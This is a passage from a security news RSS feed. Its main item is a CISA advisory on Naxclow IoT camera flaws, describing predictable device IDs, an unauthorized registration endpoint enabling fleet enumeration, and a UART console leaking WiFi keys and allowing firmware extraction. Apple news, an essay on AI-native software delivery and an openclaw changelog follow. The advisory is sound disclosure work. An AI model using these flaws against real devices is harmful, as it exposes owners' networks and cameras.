</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.2</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-42932</a></h3>
<div class="csaf-accordion-content">
<p>Naxclow device identifiers use fixed manufacturing prefixes combined with sequential counters, producing a fully predictable and enumerable identifier space. Because the platform also exposes an endpoint that reveals the current identifier high-water mark, the active fleet can be enumerated.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-42932">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Naxclow IoT Platform</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Naxclow</div>
<div class="ics-version"><strong>Product Version:</strong><br>Naxclow Smart Doorbell X3: vers:all/*, Naxclow X Smart Home: vers:all/*, Naxclow V720: vers:all/*, Naxclow ix cam: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Naxclow did not respond to CISA's attempts to coordinate these vulnerabilities. Users should contact Naxclow for more information.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/340.html">CWE-340 Generation of Predictable Numbers or Identifiers</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>6.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50244</a></h3>
<div class="csaf-accordion-content">
<p>The Naxclow platform exposes a registration endpoint that accepts signed requests containing a batch prefix and an arbitrary caller-supplied account identifier, without validating any ownership relationship. Each call mints a new sequential device identifier and returns the current high-water counter value for the batch, allowing callers to measure and enumerate the active device space. The endpoint's behavior enables precise fleet enumeration.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50244">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Naxclow IoT Platform</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Naxclow</div>
<div class="ics-version"><strong>Product Version:</strong><br>Naxclow Smart Doorbell X3: vers:all/*, Naxclow X Smart Home: vers:all/*, Naxclow V720: vers:all/*, Naxclow ix cam: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Naxclow did not respond to CISA's attempts to coordinate these vulnerabilities. Users should contact Naxclow for more information.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/862.html">CWE-862 Missing Authorization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>6.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50099</a></h3>
<div class="csaf-accordion-content">
<p>During WiFi association, Naxclow device firmware prints the host network's SSID, PSK, and negotiated WPA keys in cleartext to an exposed UART console on production hardware. The UART pads are labeled, run with default serial settings, and drop to an interactive RT-Thread shell that permits arbitrary memory reads, enabling full firmware extraction. An attacker with brief physical access, common for outdoor-mounted devices, can therefore recover WiFi credentials and bootstrap firmware-side attacks.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50099">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Naxclow IoT Platform</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Naxclow</div>
<div class="ics-version"><strong>Product Version:</strong><br>Naxclow Smart Doorbell X3: vers:all/*, Naxclow X Smart Home: vers:all/*, Naxclow V720: vers:all/*, Naxclow ix cam: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Naxclow did not respond to CISA's attempts to coordinate these vulnerabilities. Users should contact Naxclow for more information.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/538.html">CWE-538 Insertion of Sensitive Information into Externally-Accessible File or Directory</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>5.1</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Temuri Takalandze reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-06-11</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-06-11</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Cracks Down On Clutter With Stricter App Store Guidelines]]></title>
<description><![CDATA[Apple is cleaning house to make finding good downloads easier. The company just updated its official review rules to target low-effort software that clutters up the search results. If developers create lazy copies of popular software or fail to attract real users, Apple will now pull those titles...]]></description>
<link>https://tsecurity.de/de/3590598/ios-mac-os/apple-cracks-down-on-clutter-with-stricter-app-store-guidelines/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3590598/ios-mac-os/apple-cracks-down-on-clutter-with-stricter-app-store-guidelines/</guid>
<pubDate>Thu, 11 Jun 2026 14:54:14 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is cleaning house to make finding good downloads easier. The company just updated its official review rules to target low-effort software that clutters up the search results. If developers create lazy copies of popular software or fail to attract real users, Apple will now pull those titles directly from the store. This move aims to highlight better products by simply removing the junk that gets in the way.



Lazy and copied apps will get kicked off the platform



The new guidelines specifically go after software in crowded categories. For years, the platform has seen thousands of simple utilities like flashlights, basic timers, and wallpaper galleries. Under the updated rules, the App Store will no longer accept new submissions for these types of basic utilities unless the developer offers a genuinely unique experience.



If a developer already has a basic app listed, it is not safe from these changes. The company states it may remove existing titles if they sit untouched without updates or fail to pull in a meaningful number of customers.



The goal here is clear. By clearing out abandoned projects, the store becomes a cleaner place where fresh and useful software can actually stand out.



Repeat offenders risk losing their official accounts completely



The rules get even tougher for creators who try to spam the system. Apple explicitly named certain low-quality categories like simple soundboards, fortune tellers, and drinking games. If a developer repeatedly submits these kinds of basic clones, the company will do more than just reject the submission. The creator risks losing full access to the official developer program.



This marks a much harder stance against people trying to flood the system with quick money grabs. In the past, the reviewer team would simply reject the submission and move on. Now, the threat of a total ban shows how serious the company is about quality control.



Ultimately, these updated rules should make browsing for new software a much better experience. You will hopefully spend less time scrolling past hundreds of identical utilities and more time finding things actually worth downloading.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Boosts Q1 iPhone Production By 20 Percent Despite Market Drop]]></title>
<description><![CDATA[The global smartphone market usually slows down during the first three months of the year, but Apple is clearly moving in a different direction. While overall phone manufacturing across the industry took a noticeable dip recently, the tech giant managed to increase its total production output by ...]]></description>
<link>https://tsecurity.de/de/3590597/ios-mac-os/apple-boosts-q1-iphone-production-by-20-percent-despite-market-drop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3590597/ios-mac-os/apple-boosts-q1-iphone-production-by-20-percent-despite-market-drop/</guid>
<pubDate>Thu, 11 Jun 2026 14:54:13 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The global smartphone market usually slows down during the first three months of the year, but Apple is clearly moving in a different direction. While overall phone manufacturing across the industry took a noticeable dip recently, the tech giant managed to increase its total production output by an impressive twenty percent.



This unexpected boost shows that demand for the company's devices remains incredibly strong even outside the traditional holiday shopping season.



High demand keeps factory lines busy despite a slow market



According to a new report from TrendForce, total smartphone production around the world dropped during the first quarter. People generally buy fewer devices right after the holidays. However, the factories making the iPhone kept working at a very fast pace. The data reveals that the company produced roughly twenty percent more units compared to the same time last year.



This kind of growth is rare for this specific time of year. Usually, major competitors like Samsung grab the spotlight in the first quarter because they release new flagship models. Yet, Apple maintained a steady grip on the market, proving that its current lineup still has plenty of buyers waiting to upgrade.



The upcoming release cycle will keep production numbers high



Looking ahead, the company will likely keep this momentum going as it prepares for the next big hardware launch. Supply chain experts expect production to stay strong as factories begin preparing parts for the iPhone 17 later this year. By keeping inventory levels healthy now, the brand can avoid shipping delays when the busy fall season arrives.



This early manufacturing push also helps the business stay ahead of any sudden supply chain issues. As the overall smartphone market tries to recover from its recent dip, Apple is sitting in a very comfortable position. The company has enough phones ready to sell right now and a clear plan to meet the heavy demand expected in the coming months.]]></content:encoded>
</item>
<item>
<title><![CDATA[When Context Collapses: Teaching Agents to Detect and Recover from Lost Memory]]></title>
<description><![CDATA[This is the eighth article in a series on agentic engineering and AI-driven development. Read part one here, part two here, part three here, part four here, part five here, part six here, and part seven here. “640K ought to be enough for anybody.”—Bill Gates (allegedly) If you’re building AI agen...]]></description>
<link>https://tsecurity.de/de/3590254/ai-nachrichten/when-context-collapses-teaching-agents-to-detect-and-recover-from-lost-memory/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3590254/ai-nachrichten/when-context-collapses-teaching-agents-to-detect-and-recover-from-lost-memory/</guid>
<pubDate>Thu, 11 Jun 2026 13:04:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This is the eighth article in a series on agentic engineering and AI-driven development. Read part one here, part two here, part three here, part four here, part five here, part six here, and part seven here. “640K ought to be enough for anybody.”—Bill Gates (allegedly) If you’re building AI agents that do complex, multistep work, you’re going to run into context […]]]></content:encoded>
</item>
<item>
<title><![CDATA[From AI-assisted to AI-native: Rethinking the software delivery model]]></title>
<description><![CDATA[I’ve spent the last year watching smart engineering teams make the same mistake. They adopt AI to speed up coding without changing the core of how they build software.         



With Claude, Copilot or Cursor, they see quick improvements in delivery speed and test coverage. For leadership, thos...]]></description>
<link>https://tsecurity.de/de/3590091/it-security-nachrichten/from-ai-assisted-to-ai-nativerethinking-the-software-delivery-model/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3590091/it-security-nachrichten/from-ai-assisted-to-ai-nativerethinking-the-software-delivery-model/</guid>
<pubDate>Thu, 11 Jun 2026 12:08:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>I’ve spent the last year watching smart engineering teams make the same mistake. They adopt AI to speed up coding without changing the core of how they build software.         </p>



<p>With Claude, Copilot or Cursor, they see quick improvements in delivery speed and test coverage. For leadership, those early gains seem to justify investments. But six months in, when we ask the VP of Engineering what has changed about how they build software, we usually get a version of the same answer, “Not much, honestly.” </p>



<p>That is the ceiling often overlooked in software delivery, and it’s becoming the most important problem right now.</p>



<p>Most companies assume the constraint lies in the limits of AI technology. But according to <a href="mailto:https://www.forrester.com/report/elevating-ais-role-in-customer-retention-growth-and-advocacy/RES188466" rel="nofollow">Forrester’s State of AI Survey</a>, only 35% of AI decision-makers trains staff to make decisions with AI models within their companies, and 23% offer prompt-engineering training.  The real constraint is the workflows around AI, because the models can do more than most engineering processes allow, and processes are getting in the way of progress.</p>



<h2 class="wp-block-heading">The overlooked ceiling of the AI-assisted patch</h2>



<p>McKinsey <a href="mailto:https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/unlocking-the-value-of-ai-in-software-development" rel="nofollow">surveyed nearly 300 firms</a> and found a 15% performance gap between organizations that rebuild their operating model for AI versus those that just deployed tools. Top performers were using AI inside modified ways of working. Nearly two-thirds of these companies had restructured teams and processes across at least three key operating model dimensions, while only 10% of the bottom performers had done the same.  </p>



<p>We’ve watched this play out enough times to say that the bottleneck is the operating system around coding. Dropping AI tools into an existing operating model built around legacy processes briefly compresses it, and then engineering teams hit the ceiling. </p>



<p>While AI-assisted development is a powerful accelerator, engineers still work through the same processes and with the same team structure. Requirements flow through the same people, and validation comes late. Workflow coordination overhead persists in the form of endless clarifying, constant chasing and rework caused by undocumented decisions.</p>



<p>Most organizations don’t realize they’re hitting this ceiling until the initial AI excitement fades, and productivity gains plateau. They conclude that AI is overhyped. </p>



<p>What they need is a no-hype AI rebuild to use it well.</p>



<h2 class="wp-block-heading">AI-native continuous delivery in greenfield environments </h2>



<p>“AI-native” is easy to say and harder to explain day to day. Here’s my version of it. Being AI-native means shifting humans from the role of the primary producers of software artifacts to the supervisors of systems that produce them. Engineers are no longer the only ones writing code, tests and documentation. Their more important role is to define the context in which AI systems operate, set guardrails, and decide when the machine has earned a broader scope.</p>



<p>I saw this on a recent greenfield project. My team of four was working on a lost-item tracking system for public transport from scratch. With the same scope, delivery moved 40% to 60% faster. Features that would normally take one to two weeks were landing in two to three days. In a traditional setup, we would likely have needed roughly twice as many people to deliver the same work. The delivery model mattered as much as the tech, especially given the small team. We worked alongside AI agents handling backend, frontend, database, and testing tasks.</p>



<p>Our work didn’t follow long release cycles. It moved in a tight continuous delivery loop where feedback shaped the next step: define the task, generate outputs, test immediately, validate with QA agents and refine in the next pass. </p>



<p>The team used test-driven development with separate QA, Developer, and Reviewer agents. Independent API and Playwright UI test suites checked the work in a continuous feedback loop. By handoff, all acceptance criteria and quality gates have been met. The only remaining work was minor front-end UI refinement.</p>



<p>The numbers catch attention, but I wouldn’t anchor them. What matters is the process designed as AI-native from the start, not patched onto an existing workflow.</p>



<h2 class="wp-block-heading">Brownfield environments demand progressive trust</h2>



<p>Brownfield, where a legacy product or platform must be modernized, is harder. We’ve learned first-hand that retrofitting AI into an existing enterprise system without breaking it is more complicated because of legacy code, production risk, and existing team dynamics.</p>



<p>We are modernizing a large platform with multiple backend microservices built in .NET across different repositories, a complex Angular frontend and many third-party integrations. What we would never do there is to drop a multi-agent system into a live codebase, expecting it to behave. </p>



<p> AI was introduced carefully into a live system. We started with a feature that had real complexity, measured the results closely and expanded only after the process had structure around it. When we were past the structured phase, feature delivery improved by 25% to 40%. As the system matured, teams accepted 70% to 85% of agent output. The lesson I want to share is that AI effectiveness depends heavily on the quality of context and the discipline of the workflow. Early on, AI-generated outputs required careful review due to gaps and inconsistencies, but as we improved the context, introduced guardrails and refined the processes and workflows, the results became much more stable.   </p>



<p>I call it progressive trust, but most AI adoption programs mistakenly skip this piece, thinking they are not ready for more AI autonomy than they already permit.</p>



<h2 class="wp-block-heading">Progressive trust is change management</h2>



<p>AI autonomy does not begin at full scope; autonomy is earned over time. Early on, agents handle narrow tasks, such as drafting a specification, generating unit tests, or proposing a data model, while human review remains constant, and corrections feed back into the system. Acceptance rates often start around 35-40%, with scope expanding only when AI accuracy justifies it. By the midpoint of the most mature engagements, acceptance rates exceed 60%, and most outputs need only refinement rather than rework.</p>



<p>Engineering leaders like raising objections, “I’m not ready to hand this over to AI.” Progressive trust doesn’t assume the readiness is already there but builds it over time.   </p>



<h2 class="wp-block-heading">Rebuilding with a map</h2>



<p>The first thing I tell leaders who are serious about a no-hype AI rebuild is, ”Don’t start with a new tool selection; better start with a map.” </p>



<p>The idea of “starting with a map” comes from real cases: it helps uncover where effort is lost before AI is introduced and where new bottlenecks will appear after. Based on this, the next step I would make is to build a clear transformation roadmap that shows how processes evolve, how adoption happens safely, and how the project transitions step by step to an AI-enhanced way of working.</p>



<p>I make the process easier by asking the right questions. Where do handoffs slow down? Where does context get lost between roles? Where are people spending time coordinating work instead of creating it?</p>



<p>The map usually reveals two or three bottlenecks where teams are already losing speed because of how their work is organized, even before AI enters the picture.</p>



<p>The next step is to structure inputs. If teams skip this step, this becomes one of the primary reasons AI pilots fail. </p>



<p>AI-native delivery runs on machine-readable context. That includes requirements, design decisions and technical constraints, captured in structured form before any AI agent touches them. When AI agents have authoritative inputs, they don’t waste cycles clarifying. They execute. Getting that layer right before adding AI agent execution is the difference between a system that improves time and one that produces inconsistent outputs and gets quietly abandoned. </p>



<h2 class="wp-block-heading">One team, one project, one phase</h2>



<p>I often say, “Expect no moonshot.” Build a real feature with real stakes, scoped to run without production risk. Measure acceptance rates, intervention frequency, and delivery time against your baseline. Let the data drive the next expansion of scope.</p>



<p>The rebuild takes longer than most organizations want and usually requires multiple engagements before teams arrive at a reliably repeatable model. Parts of the workflow break down in unexpected ways, and role and behavior changes are real. Developers move into AI engineering, while QA shifts toward validation strategy, and both require real reskilling and a willingness to adapt to new ways of working. Team dynamics also shift, and those changes need active management.</p>



<p>But the compounding effect is real. Every iteration improves the system’s context, narrows the gap between AI output and human-ready quality, and expands what the team trusts the machine with. </p>



<p>Once AI-native delivery is seen at full stride, AI-assisted delivery, enabling faster execution on the same old foundation, starts to feel like a misspent investment.</p>



<p>While the AI-native rebuild isn’t easy, AI-assisted patching has a natural built-in ceiling, and most teams are already hitting it. The question is what they decide to do next.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.6.6-beta.1]]></title>
<description><![CDATA[2026.6.6
Highlights

Security boundaries are substantially tighter across transcripts, sandbox binds, host environment inheritance, MCP stdio, Codex HTTP access, native search policy, elevated sender checks, deleted-agent ACP bypasses, loopback tools, Discord moderation, and Teams group actions; ...]]></description>
<link>https://tsecurity.de/de/3588572/downloads/openclaw-202666-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3588572/downloads/openclaw-202666-beta1/</guid>
<pubDate>Wed, 10 Jun 2026 19:47:10 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.6.6</h2>
<h3>Highlights</h3>
<ul>
<li>Security boundaries are substantially tighter across transcripts, sandbox binds, host environment inheritance, MCP stdio, Codex HTTP access, native search policy, elevated sender checks, deleted-agent ACP bypasses, loopback tools, Discord moderation, and Teams group actions; exec approvals now fail closed on timeout. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4617660755" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91529/hovercard" href="https://github.com/openclaw/openclaw/pull/91529">#91529</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619047229" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91618" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91618/hovercard" href="https://github.com/openclaw/openclaw/pull/91618">#91618</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619033638" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91615" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91615/hovercard" href="https://github.com/openclaw/openclaw/pull/91615">#91615</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619048471" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91619" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91619/hovercard" href="https://github.com/openclaw/openclaw/pull/91619">#91619</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624396563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91741" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91741/hovercard" href="https://github.com/openclaw/openclaw/pull/91741">#91741</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624606681" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91745" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91745/hovercard" href="https://github.com/openclaw/openclaw/pull/91745">#91745</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624627622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91746" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91746/hovercard" href="https://github.com/openclaw/openclaw/pull/91746">#91746</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624682331" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91748" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91748/hovercard" href="https://github.com/openclaw/openclaw/pull/91748">#91748</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624683089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91749/hovercard" href="https://github.com/openclaw/openclaw/pull/91749">#91749</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624686576" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91750" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91750/hovercard" href="https://github.com/openclaw/openclaw/pull/91750">#91750</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624689858" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91751" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91751/hovercard" href="https://github.com/openclaw/openclaw/pull/91751">#91751</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624710623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91752" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91752/hovercard" href="https://github.com/openclaw/openclaw/pull/91752">#91752</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4625339565" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91763" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91763/hovercard" href="https://github.com/openclaw/openclaw/pull/91763">#91763</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4582011731" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89938" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89938/hovercard" href="https://github.com/openclaw/openclaw/pull/89938">#89938</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drobison00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drobison00">@drobison00</a>.</li>
